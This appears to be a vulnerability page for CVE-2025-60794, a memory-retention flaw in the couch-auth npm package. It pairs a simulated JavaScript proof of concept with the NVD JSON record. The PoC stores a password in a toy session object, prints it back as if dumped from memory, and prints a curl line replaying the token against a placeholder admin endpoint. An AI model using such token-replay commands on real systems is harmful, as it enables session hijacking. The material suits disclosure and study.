CVE-2025-60794

// CVE-2025-60794 PoC - Memory Dump Attack Simulation // This PoC demonstrates the concept of extracting sensitive data from memory const fs = require('fs'); // Simulate vulnerable code behavior in src/user.ts (lines 700-707) class VulnerableAuth { constructor() { this.userSession = {}; } login(username, password) { // Vulnerable: Sensitive data stored without explicit clearing this.userSession = { username: username, password: password, // Stored in memory token: this.generateToken(), timestamp: Date.now() }; return { success: true, token: this.userSession.token }; } generateToken() { return 'session_' + Math.random().toString(36).substring(2); } // Vulnerable: No explicit logout/clear method } // Simulate memory dump attack function simulateMemoryDump() { const auth = new VulnerableAuth(); auth.login('admin', 'SuperSecretPassword123'); console.log('[+] User authenticated, session data in memory'); console.log('[+] Session object:', JSON.stringify(auth.userSession)); // Simulate attacker reading process memory console.log('[!] Attacker can extract:'); console.log(' - Username:', auth.userSession.username); console.log(' - Password:', auth.userSession.password); console.log(' - Session Token:', auth.userSession.token); // Generate session hijacking attack const hijackToken = auth.userSession.token; console.log('[!] Session Hijacking PoC:'); console.log(` curl -H "Authorization: Bearer ${hijackToken}" https://target-api/admin`); } simulateMemoryDump();

{"cve": {"id": "CVE-2025-60794", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:37.937", "lastModified": "2025-12-12T15:34:10.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Session tokens and passwords in couch-auth 0.21.2 are stored in JavaScript objects and remain in memory without explicit clearing in src/user.ts lines 700-707. This creates a window of opportunity for sensitive data extraction through memory dumps, debugging tools, or other memory access techniques, potentially leading to session hijacking."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-316"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perfood:couchauth:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "0.21.2", "matchCriteriaId": "E6A70E73-23FC-41B4-A63D-908DDBCAB96D"}]}]}], "references": [{"url": "https://github.com/perfood/couch-auth", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pr0wl1ng/security-advisories/blob/main/CVE-2025-60794.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.npmjs.com/package/@perfood/couch-auth", "source": "[email protected]", "tags": ["Product"]}]}}